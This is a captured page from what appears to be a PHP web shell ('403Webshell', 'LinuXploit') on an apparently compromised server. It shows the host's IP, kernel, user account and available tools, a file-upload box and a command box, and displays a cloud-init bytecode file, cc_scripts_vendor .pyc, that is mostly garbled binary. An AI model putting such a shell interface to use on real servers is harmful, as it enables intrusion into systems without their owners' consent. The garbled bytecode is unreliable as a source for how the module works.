403Webshell
Server IP : 159.223.102.202  /  Your IP : 216.73.217.92
Web Server : nginx/1.26.0
System : Linux Gen1-cloudpanel2ubuntu2404-1vcpu-1gb-nyc1-01 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User : albasshbotta ( 1021)
PHP Version : 8.2.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_scripts_vendor.cpython-312.pyc
�

�f+	���UdZddlZddlZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
mZddlmZdd	lmZd
Zddd
eegeed�ed�ed�ggd�Ze
ed<ee�Zej,e�ZdZdedede	deddf
d�Zy)z"Scripts Vendor: Run vendor scripts�N)�dedent)�subp�util)�Cloud)�Config)�
MetaSchema�get_meta_doc)�ALL_DISTROS)�PER_INSTANCEaiOn select Datasources, vendors have a channel for the consumption
of all supported user data types via a special channel called
vendor data. Any scripts in the ``scripts/vendor`` directory in the datasource
will be run when a new instance is first booted. Scripts will be run in
alphabetical order. This module allows control over the execution of
vendor data.
�cc_scripts_vendorzScripts VendorzRun vendor scriptszg            vendor_data:
              enabled: true
              prefix: /usr/bin/ltrace
            ze            vendor_data:
              enabled: true
              prefix: [timeout, 30]
            zr            # Vendor data will not be processed
            vendor_data:
              enabled: false
            )�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�meta�vendorr�cfg�cloud�args�returnc��tjj|j�dt�}tj|dg�}	tj||��y#t$rtjd|t|��wxYw)N�scripts)�vendor_data�prefix)�
exe_prefixz"Failed to run module %s (%s in %s))�os�path�join�
get_ipath_cur�
SCRIPT_SUBDIRr�get_cfg_by_pathr�runparts�	Exception�LOG�warning)rrrr�
runparts_pathrs      �D/usr/lib/python3/dist-packages/cloudinit/config/cc_scripts_vendor.py�handler,Ds|���G�G�L�L�
����y�-��M��
!�
!�#�'@�"�
E�F�	��
�
�m��7�������0����		
�	��s�A$�$'B)�__doc__�loggingr �textwrapr�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemarr	�cloudinit.distrosr
�cloudinit.settingsr�MODULE_DESCRIPTIONr�__annotations__�	getLogger�__name__r(r$�str�listr,��r+�<module>r>s���)��	�� �!�#�<�)�+�����
!�%��}���
�	
�	�
�	
�	�
�	
��. "�=��j��B�t�
���g����!���
����6��%��t���r=

Youez - 2016 - github.com/yon3zu
LinuXploit